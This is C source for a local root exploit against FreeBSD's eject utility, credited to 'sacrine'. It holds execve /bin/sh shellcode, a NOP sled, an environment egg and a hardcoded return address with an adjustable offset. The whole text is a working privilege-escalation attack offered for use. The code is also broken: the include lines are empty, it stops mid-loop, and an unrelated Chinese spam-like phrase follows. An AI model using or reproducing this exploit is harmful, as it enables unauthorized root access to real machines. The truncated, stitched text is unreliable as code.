// reject.c - FreeBSD local root eject exploit // vuln found by kokanin :) // sacrine - sacrine.netric.org #include #include #include #include #include #define BUFLEN 1264 #define NOP 0x90 #define EGG 1024 char shellcode[] = "\x55\x89\xe5\x31\xc0\x50\x50\x50\x50\x66\xb8\x37\x01\xcd\x80" "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x50\x54\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"; int main (int c, char *v[]) { unsigned long ret = 0xbfbfee16; char buffer[BUFLEN]; char eitje[1024]; char *ptr; int i = 0; if (c > 1) ret = ret - atol(v[1]) ; memset(buffer,NOP,sizeof(buffer)); ptr=eitje; for (i=0; i<1024-strlen(shellcode)-1;i++)*(ptr++) = '\x90'; for (i=0; i

亚洲欧美在线